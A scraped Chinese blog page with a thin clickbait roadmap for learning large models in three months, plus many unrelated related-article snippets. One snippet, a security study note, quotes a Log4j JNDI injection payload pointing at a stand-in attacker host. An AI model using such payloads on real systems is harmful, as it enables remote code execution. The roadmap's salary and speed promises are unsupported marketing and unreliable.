2026最全大模型学习路线曝光！从零到Offer，保姆级攻略，让你少走99%的弯路（附全套大模型资源）

墨衍会员 · AI 创作全网分发 墨衍智能分发 本文由作者通过墨衍一键同步至各平台 1分发平台 200+累计阅读 253平均单平台已同步平台优快云微信公众号微博知乎掘金百家号博客园抖音小红书 你的文章也可以这样分发 墨衍会员 ¥399起/年，写一次发全网我也要 → 码龄5年

关注

原创最新推荐文章于 2026-11-10 13:10:33 发布 253 阅读 AI 写同款· GEO 优化 ›

从零开始学习 Go 1.25 编程今天是你新生活的第一天，无论年龄、背景如何，改变从这一刻开始。CodeGym帮助成千上万普通人转型为程序员，从零基础到掌握Go语言，完成真实项目，甚至入职心仪岗位。Go语言简洁高效，适合服务器端开发，是云基础设施、微服务和高负载系统的首选。2026年正是入行良机，你的经验反而是优势。别犹豫，迈出第一步，你将收获技能、自信与全新人生。🚀 阅读详情

假如你从2026年开始学大模型，按这个步骤走准能稳步进阶。

接下来告诉你一条最快的邪修路线，

3个月即可成为模型大师，薪资直接起飞。

阶段1:大模型基础

阶段2:RAG应用开发工程

阶段3:大模型Agent应用架构

阶段4:大模型微调与私有化部署

学习资源：

因篇幅有限，仅展示部分资料，需要点击下方链接即可前往获取

收录于

计算机

当前文章被收录于：

计算机

2233 篇文章 43 人学习

订阅专栏查看详情

程序员

当前文章被收录于：

程序员

2228 篇文章 197 人学习

订阅专栏查看详情

大模型

当前文章被收录于：

大模型

442 篇文章 8 人学习

订阅专栏查看详情

当前文章被以下社区和专栏收录：

标签

#学习 #transformer #自然语言处理

从零开始学习使用 AI 欢迎踏入ClaudeCode未来世界，开启与AI协作的全新旅程。无论你是零基础新手、开发者，还是非程序员，都能通过实战项目快速掌握智能体协作技能——不再只是提问，而是指挥AI完成复杂任务。你将化身主角，在16个级别、200+实践中成长为高效创造者。真正的优势不再是会用工具，而是懂得如何让智能体为你工作。取代你的不是AI，而是会用AI的人。现在，故事从你开始👇 阅读详情

相关推荐

第28篇 sw放样特征矩形-圆-矩形学习笔记

本例演示三轮廓放样：先画中心对齐的100×100矩形草图，再在偏移100的基准面上绘制圆，最后在另一基准面画矩形。通过依次选择三个轮廓并正确设置连接点，实现矩形→圆→矩形的平滑过渡，注意连接点位置避免扭曲。

Txwtech 42

[特殊字符]2026最全大模型学习路线曝光！从零到Offer，保姆级攻略，让你少走99%的弯路（附全套大模型资源）

《3个月速成大模型专家：高效进阶路线图》摘要：该学习路径提供了一套从零基础到大模型专家的快速成长方案，分为四个阶段：1）大模型基础理论；2）RAG应用开发；3）Agent应用架构；4）模型微调与私有化部署。配套提供优快云等平台的精选学习资源（含文档、教程等），承诺100%免费获取。通过扫码即可领取全套AI大模型资料，帮助学习者在短期内掌握核心技术，实现薪资跃升。方案强调实践导向，适合2026年及以后入行的学习者采用"邪修式"高效学习法。

qingkahui24689的博客 111

别再只盯着CXL协议了，聊聊CXL.mem里那个能动态调优内存性能的‘QoS遥测’到底怎么用

本文深入解析CXL.mem协议中的QoS遥测功能，探讨如何通过DevLoad指标动态调优内存性能。文章详细介绍了QoS遥测的核心机制、多QoS类别设备的实战配置，以及AI训练、金融交易和视频处理场景中的优化案例，帮助数据中心实现高效内存资源管理。

weixin_33725722的博客 436

2026.11.7 AI学习总结

110 你 14b 模型权重本身就要约 8.8GB，默认上下文（Ollama 在 16GB 卡上可能给到 4K）加上 KV Cache 就爆了。比如设成 2048，你输入了 500 个 token 的问题，那模型最多还能生成 1500 个 token 的回答。超出部分会被截断，模型就"看不见"了。4 如果 14b 跑起来后发现它"忘事"，再逐步往上加，比如先试 4096。，根据注意力头的重要性动态分配缓存资源，重要的留显存，不重要的下沉。，单位是 token，表示模型这一次推理最多能同时"看到"多少内容。

qq_41181702的博客 375

Python：由于目标计算机积极拒绝，无法连接

问题描述今天想学习一下用Python的pandas库处理CSV文件，并绘制一些图形，在安装pandas时出现了一系列问题首先是使用 pip install pandas 显示如下错误找了半天也没找到什么解决办法，于是采用去下载安装包的方法进行安装，进入之后发现Python版本处写的并不是自己熟悉的Python 3.9.1之类的字样而是CP37之类的经查阅后了解到这里的CP是指CPython，即用C语言写的Python解释器。但是问题是下载了一个CP37的包在安装时显示 ...

花洛兮灬 1万+

c#.net使用正则表达式验证文本中是否包含手机号码或电话号码？

using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Text.RegularExpressions; using System.Collections; namespace RegularPhoneApp { class Program

码农 3584

Flink 学习日志 03：自定义一个SourceFunction，完成对Redis中数据的读取

本文介绍了在Flink中自定义SourceFunction读取Redis数据的完整流程：通过Jedis客户端连接WSL2中的Redis服务，编写RedisSource实现循环读取所有Key-value并逐条输出，结合Thread.sleep()实现每秒一条的流式效果。关键步骤包括环境准备、添加Jedis依赖、配置IDEA运行时加载provided依赖，并注意生产环境中应避免使用阻塞的keys *，改用scan命令。最终实现动态读取、实时打印，验证了Flink与Redis的数据集成能力。

木木的学习笔记 421

从投影到抗噪：直线拟合三大算法实战指南

本文深入解析了直线拟合的三大核心算法：常规最小二乘法（OLS）、正交回归（TLS）和RANSAC。通过对比其几何原理、代码实现与适用场景，为计算机视觉和数据分析领域的实践者提供了清晰的选型指南，帮助在抗噪、旋转不变性等不同需求下，精准选择并应用最合适的算法。

ujm567890的博客 576

邓明 Agent 系统面试-意图识别学习笔记

不要只是做意图识别而不做测评，就好像要评估 RAG 准确性，在接口服务要测试响应时延，超时控制等等，这里也要关注意图识别准确率，如果面试官认为项目指标太高是在吹牛，关键就是回答因为 Agent 解决的是特定领域的意图识别，识别场景单一，另外就是因为用户输入相对简单。意图识别影响 prompt/spec 的加载，意图识别影响上下文组织，意图识别影响工具选择，意图识别影响 prompt 建议，意图识别得到的意图不是让模型随机生成而是候选类别里去做选择。2.意图识别的原因，以及意图识别得到的是什么？

m0_57222081的博客 215

【本体】Protege高效批量导入实例(Individuals)的自动化实践

本文详细介绍了在Protege中高效批量导入实例(Individuals)的自动化实践方法。通过分析Protege本体文件结构，提供Python脚本示例，帮助用户快速处理大规模数据导入，显著提升知识图谱构建效率。特别适合需要处理数千个实例的医疗、制药等领域应用。

weixin_30275415的博客 408

MATLAB和S7-1200PLC水箱液位高度PID控制联合仿真(KEPserverOPC通信应用)

SMART PLC 向导PID的详细介绍请查看下面文章链接：S7-200 SMART PLC PID向导详细介绍(如何实现P、PD、PID控制器)-优快云博客文章浏览阅读1k次。这篇博客主要介绍SMART PLC PID向导的使用，PID控制相关的其它内容请查看专栏系列文章，常用链接如下：SMART PLC PID负压控制（过程量为负数）_负压控制pid控制程序_RXXW_Dor的博客-优快云博客1、如何实现PID反作用调节？S7-1200PLC和KEPserver OPC通信-优快云博客。

RXXW_Dor的博客 1781

Day36 XD安全学习笔记--JavaE应用&第三方组件&Log4i 日志&Fastson序列化&JNDI 注入

本节课剖析Log4j与Fastjson组件漏洞原理。Log4j通过JNDI注入实现远程代码执行，攻击者构造${jndi:ldap://attacker.com/Exploit}触发Lookup机制，诱导目标向恶意LDAP服务器请求并加载远程类，最终执行命令（如弹出计算器）。需配置trustURLCodebase=true绕过安全限制。Fastjson则利用@type反序列化特性，当用户输入可控的{"@type":"com.xiaodi.Run"}时，自动加载并实例化恶

一支蜉蝣的博客 200

Python 爬虫 + 数据分析：社会调查数据抓取与结果可视化分析

在当今数字化时代，数据已成为推动社会发展的关键资源之一。无论是市场调研、学术研究还是政策制定，社会调查数据都扮演着至关重要的角色。通过 Python 爬虫技术，我们可以高效地获取这些数据，并结合数据分析与可视化工具，深入挖掘数据背后的价值。本文将通过一个完整的实战项目，带你掌握如何使用 Python 爬虫抓取社会调查数据，并进行可视化分析。

yansideyucsdn的博客 126

Java 多态学习笔记

多态是面向对象编程的重要特性，指同一操作作用于不同对象时产生不同行为。其核心在于“父类引用指向子类对象”，结合方法重写实现运行时动态绑定。多态使代码更灵活、可扩展，如用Person p = new Student();统一处理各类人员注册，无需修改调用逻辑。但多态无法直接调用子类特有方法，需通过instanceof判断并强制转换。编译时看左边（类型），运行时看右边（实际对象），实现解耦与维护便利。

AA_AA114514的博客 361

2026 年第十六届MathorCup数学应用挑战赛题目C题中老年人群高血脂症的风险预警及干预方案优化 2026妈妈杯详细思路、代码、模型

2026 年第十六届MathorCup数学应用挑战赛题目 C题中老年人群高血脂症的风险预警及干预方案优化人口老龄化进程的持续加快，使得40岁及以上中老年人群成为慢性病防控的核心群体，其中高血脂症的发病率呈逐年攀升态势，已成为诱发冠心病、脑梗死等心脑血管疾病的重要危险因素，严重威胁中老年群体的心血管健康与生活质量，也加重了基层医疗的慢病管理负担。从中医体质学视角来看，体质禀赋与偏颇是疾病发生发展的内在根基，其中痰湿体质为中老年高血脂症的高发体质类型，该体质人群存在痰湿内蕴、脾胃运化失常、水湿代谢

YOLO 756

visio安装包

Microsoft Office Visio 是一款专业的制图软件。利用经过更新的形状、协作工具和数据链接图表，创建专业级图表以简化复杂的信息。

天线模块布局走线学习

天线通常与射频收发芯片、匹配网络、滤波器以及射频连接器等共同组成完整的无线通信链路;在进行原理图设计时，器件封装应当尽量小，倾向于0402、0201等，可以减小由封装带来的寄生参数影响。

qq_59757948的博客 166

深度学习工具包 DeepLearningToolbox

深度学习工具包Deprecation notice.-----This toolbox is outdated and no longer maintained.There are much better tools available for deep learning than this toolbox, e.g. [Theano](http://deeplearning.net/software/theano/), [torch](http://torch.ch/) or [tensorflow](http://www.tensorflow.org/)I would suggest you use one of the tools mentioned above rather than use this toolbox.Best, Rasmus.DeepLearnToolbox================A Matlab toolbox for Deep Learning.Deep Learning is a new subfield of machine learning that focuses on learning deep hierarchical models of data.It is inspired by the human brain's apparent deep (layered, hierarchical) architecture.A good overview of the theory of Deep Learning theory is[Learning Deep Architectures for AI](http://www.iro.umontreal.ca/~bengioy/papers/ftml_book.pdf)For a more informal introduction, see the following videos by Geoffrey Hinton and Andrew Ng.* [The Next Generation of Neural Networks](http://www.youtube.com/watch?v=AyzOUbkUf3M) (Hinton, 2007)* [Recent Developments in Deep Learning](http://www.youtube.com/watch?v=VdIURAu1-aU) (Hinton, 2010)* [Unsupervised Feature Learning and Deep Learning](http://www.youtube.com/watch?v=ZmNOAtZIgIk) (Ng, 2011)If you use this toolbox in your research please cite [Prediction as a candidate for learning deep hierarchical models of data](http://www2.imm.dtu.dk/pubdb/views/publication_details.php?id=6284)```@MASTERSTHESIS\{IMM2012-06284, author = "R. B. Palm", title = "Prediction as a candidate for learning deep hierarchical models of data", year = "2012",}```Contact: rasmusbergpalm at gmail dot comDirectories included in the toolbox-----------------------------------`NN/` - A library for Feedforward Backpropagation Neural Networks`CNN/` - A library for Convolutional Neural Networks`DBN/` - A library for Deep Belief Networks`SAE/` - A library for Stacked Auto-Encoders`CAE/` - A library for Convolutional Auto-Encoders`util/` - Utility functions used by the libraries`data/` - Data used by the examples`tests/` - unit tests to verify toolbox is workingFor references on each library check REFS.mdSetup-----1. Download.2. addpath(genpath('DeepLearnToolbox'));Example: Deep Belief Network---------------------```matlabfunction test_example_DBNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit RBM and visualize its weightsrand('state',0)dbn.sizes = [100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);figure; visualize(dbn.rbm{1}.W'); % Visualize the RBM weights%% ex2 train a 100-100 hidden unit DBN and use its weights to initialize a NNrand('state',0)%train dbndbn.sizes = [100 100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);%unfold dbn to nnnn = dbnunfoldtonn(dbn, 10);nn.activation_function = 'sigm';%train nnopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.10, 'Too big error');```Example: Stacked Auto-Encoders---------------------```matlabfunction test_example_SAEload mnist_uint8;train_x = double(train_x)/255;test_x = double(test_x)/255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit SDAE and use it to initialize a FFNN% Setup and train a stacked denoising autoencoder (SDAE)rand('state',0)sae = saesetup([784 100]);sae.ae{1}.activation_function = 'sigm';sae.ae{1}.learningRate = 1;sae.ae{1}.inputZeroMaskedFraction = 0.5;opts.numepochs = 1;opts.batchsize = 100;sae = saetrain(sae, train_x, opts);visualize(sae.ae{1}.W{1}(:,2:end)')% Use the SDAE to initialize a FFNNnn = nnsetup([784 100 10]);nn.activation_function = 'sigm';nn.learningRate = 1;nn.W{1} = sae.ae{1}.W{1};% Train the FFNNopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.16, 'Too big error');```Example: Convolutional Neural Nets---------------------```matlabfunction test_example_CNNload mnist_uint8;train_x = double(reshape(train_x',28,28,60000))/255;test_x = double(reshape(test_x',28,28,10000))/255;train_y = double(train_y');test_y = double(test_y');%% ex1 Train a 6c-2s-12c-2s Convolutional neural network %will run 1 epoch in about 200 second and get around 11% error. %With 100 epochs you'll get around 1.2% errorrand('state',0)cnn.layers = { struct('type', 'i') %input layer struct('type', 'c', 'outputmaps', 6, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %sub sampling layer struct('type', 'c', 'outputmaps', 12, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %subsampling layer};cnn = cnnsetup(cnn, train_x, train_y);opts.alpha = 1;opts.batchsize = 50;opts.numepochs = 1;cnn = cnntrain(cnn, train_x, train_y, opts);[er, bad] = cnntest(cnn, test_x, test_y);%plot mean squared errorfigure; plot(cnn.rL);assert(er<0.12, 'Too big error');```Example: Neural Networks---------------------```matlabfunction test_example_NNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);% normalize[train_x, mu, sigma] = zscore(train_x);test_x = normalize(test_x, mu, sigma);%% ex1 vanilla neural netrand('state',0)nn = nnsetup([784 100 10]);opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samples[nn, L] = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.08, 'Too big error');%% ex2 neural net with L2 weight decayrand('state',0)nn = nnsetup([784 100 10]);nn.weightPenaltyL2 = 1e-4; % L2 weight decayopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex3 neural net with dropoutrand('state',0)nn = nnsetup([784 100 10]);nn.dropoutFraction = 0.5; % Dropout fraction opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex4 neural net with sigmoid activation functionrand('state',0)nn = nnsetup([784 100 10]);nn.activation_function = 'sigm'; % Sigmoid activation functionnn.learningRate = 1; % Sigm require a lower learning rateopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex5 plotting functionalityrand('state',0)nn = nnsetup([784 20 10]);opts.numepochs = 5; % Number of full sweeps through datann.output = 'softmax'; % use softmax outputopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex6 neural net with sigmoid activation and plotting of validation and training error% split training data into training and validation datavx = train_x(1:10000,:);tx = train_x(10001:end,:);vy = train_y(1:10000,:);ty = train_y(10001:end,:);rand('state',0)nn = nnsetup([784 20 10]); nn.output = 'softmax'; % use softmax outputopts.numepochs = 5; % Number of full sweeps through dataopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, tx, ty, opts, vx, vy); % nntrain takes validation set as last two arguments (optionally)[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');```[![Bitdeli Badge](https://d2weczhvl823v0.cloudfront.net/rasmusbergpalm/deeplearntoolbox/trend.png)](https://bitdeli.com/free "Bitdeli Badge")

CMake学习

CMake如何编译成库？1. 为什么要有库？库就是预先写好，编译好的代码集合。存在的意义，1）避免重复造轮子和重复编译，库是，你的代码在编译时直接链接它，不需要把库的源码重新编译一遍，大大节省了编译时间。；2）：编译成库让别人可以直接调用我的函数，但看不到cpp源码，看不到里面的逻辑。3）：大项目可以拆分给不同的团队开发不同的库，最后拼在一起。静态库：就是在程序编译和链接阶段，把库里被用到的代码部分，像打包裹一样，直接复制粘贴到最终的可执行文件（如.exe或 Linux 下的无后缀文件）里面。

m0_56487684的博客 197

Camera2Demo

在Camera2 的基础上进行封装，使得Camera2一堆初始化逻辑与Activity分离，降低耦合度，完成预览拍照并保存的操作

TMS_WebGMaps_1.9.8.0_Full_Source

TMS_WebGMaps_1.9.8.0_Full_Source 全源码 delphi cbuilder

将物理先验嵌入机器人学习：从经典力学到 VLA 与 WAM

本文综述了将物理先验嵌入机器人学习的三条路径：数据与表示、模型架构、训练损失，强调其位置决定约束效力。通过夹取软物体案例，阐明运动学、动力学、接触与材料特性在任务中的分层作用。指出物理先验非万能，需匹配实际条件；强约束可加速学习，但误用会引入偏差。提出“有效刚度”等概念，强调主动探测与参数辨识的重要性，并警示仅靠单一方法无法保障安全执行，需结合在线验证与控制闭环。

lovely_yoshino的博客 888

Linux网络学习【深入理解多路转接epoll】

本文围绕 Linux 多路转接 epoll 展开，以“设计动机—核心机制—触发模式—代码实践”为主线，对比 select、poll 的监听管理与就绪检查方式，解析关注集合、就绪列表及核心接口，重点讲解水平触发与边缘触发的行为差异，以及边缘触发配合非阻塞读写的处理要点。结合多连接服务器实践，梳理事件注册、连接接收、部分收发、可写事件按需监听及断开清理流程，厘清就绪通知与操作完成的区别，分析常见错误与性能影响因素，帮助读者建立从事件循环到连接管理的完整认识，为高并发服务器与事件驱动框架开发打下基础。

承于所学，探技术之渊；以代码求政，寻成长之道。 1万+

正则表达式学习笔记 02：基础语法

正则表达式是描述字符匹配规则的迷你语言，由普通字符和元字符组成。普通字符直接匹配自身，而元字符如.、*、+、^、$等具有特殊含义，用于控制匹配模式。常见功能包括任意字符匹配、字符类、预定义类（如\d）、量词、位置锚点、分组与捕获、环视断言及反向引用。需注意，若要匹配元字符本身，必须使用转义符\。例如，\.可匹配字面点号。

菜鸟的专栏 183

[LangChain] 学习笔记（08）：工具调用底层闭环与第三方搜索（Tavily）实战

大模型通过工具调用实现外部能力扩展：模型返回tool_calls，开发者本地执行后将结果以ToolMessage形式追加至对话历史，再由模型生成最终回答。关键闭环在于状态追加，否则会陷入死循环。借助LangChain生态如TavilySearch，可轻松接入联网搜索，突破知识时效限制。注意避免invalid_tool_call_id错误，确保消息历史完整；网络超时需检查代理或环境配置。简单问题模型自主解答属正常行为。

一名在 Linux 与 C/C++ 世界里打怪升级的开发者。持续输出系统编程、网络编程、数据结构与算法的高质量学习笔记与实战总结 356

ES6：Iterator与Generator函数学习及Generator函数和async实现异步编程理解

几个概念：可迭代对象是指具有迭代器接口的对象：实现类数组使用 for of 循环对象无法使用数组的迭代器。 generator 函数类似遍历器函数，返回一个迭代器对象；该对象调用方法时，会把后面的表达式作为值，并执行当前指针与下一步指针之间的程序。 generator 实现迭代器函数后面跟的内容为得到的值。流程：循环会调用 generator 函数，返回一个 iterator 对象，方法由 generator 内部的决定。 Gene

2403_87566238的博客 221

【学习笔记】51单片机按键控制LED流水灯模式&定时器时钟

在下面去给他写中断子函数，他会在main中去到Timer0这个子函数当中去，再接着跳转回来。再TMOD上，这个是不可位寻址的，必须八位同时复制，如果同时使用定时器1和定时器0，先配置定时器1再去配置定时器0会把之前前定时器1的更新掉，我们去给他让他只去执行一部分。现在我们要去做中断了，改正之后的是这样，但其实是还有缺陷在的。寄存器是连接软硬件的媒介，我们现在写一个关于这个的代码。这样得到的和我们预期的一样。TMOD的寄存模式，M1和M0是来决定工作模式的。我们要看的是关于以下的寄存器。

2601_96469072的博客 223

Git与GitHub系统学习｜本地Git工作模型：终端与进程、CWD、HEAD/Index/工作树及Git对象

从GitHub网页端走向本地Git，讲清终端、Shell、进程与工作目录，解释仓库发现、HEAD、Index和工作树，分析Commit/Tree/Blob引用、文件树与暂存机制，区分实测与教学示例。

Brookty的博客 280

echarts学习手记

本文介绍ECharts的引入与基本使用：通过npm安装并按需引入核心模块、图表类型及组件，注册后初始化图表实例。结合resize事件实现响应式布局，通过dispose()销毁实例避免内存泄漏，并支持自定义主题与seriesLayoutBy配置调整数据映射方式，提升图表灵活性与性能。

qq_43592674的博客 41

Day33 XD安全学习笔记--JavaEE应用&SQL 预编译&Filter过滤器&Listener监听器&访问控制

本文介绍了SQL预编译与Filter过滤器、Listener监听器的应用。SQL预编译有效防止注入攻击，相比拼接写法更安全。Filter用于拦截请求与响应，实现权限控制、敏感词过滤等功能，具备初始化、过滤、销毁生命周期；如XssFilter拦截非法参数，AdminFilter通过Cookie验证权限。Listener监听域对象的创建、销毁及属性变化，如Session的创建与销毁，实现系统状态管理。三者协同提升Web应用的安全性与可维护性。

一支蜉蝣的博客 229

上一篇：这是一份Agent入门学习教程！（附学习资料）

下一篇：构建AI Agent的最优学习路线总结：MCP、CrewAI和Streamlit

第28篇 sw放样特征矩形-圆-矩形学习笔记

Txwtech

11-06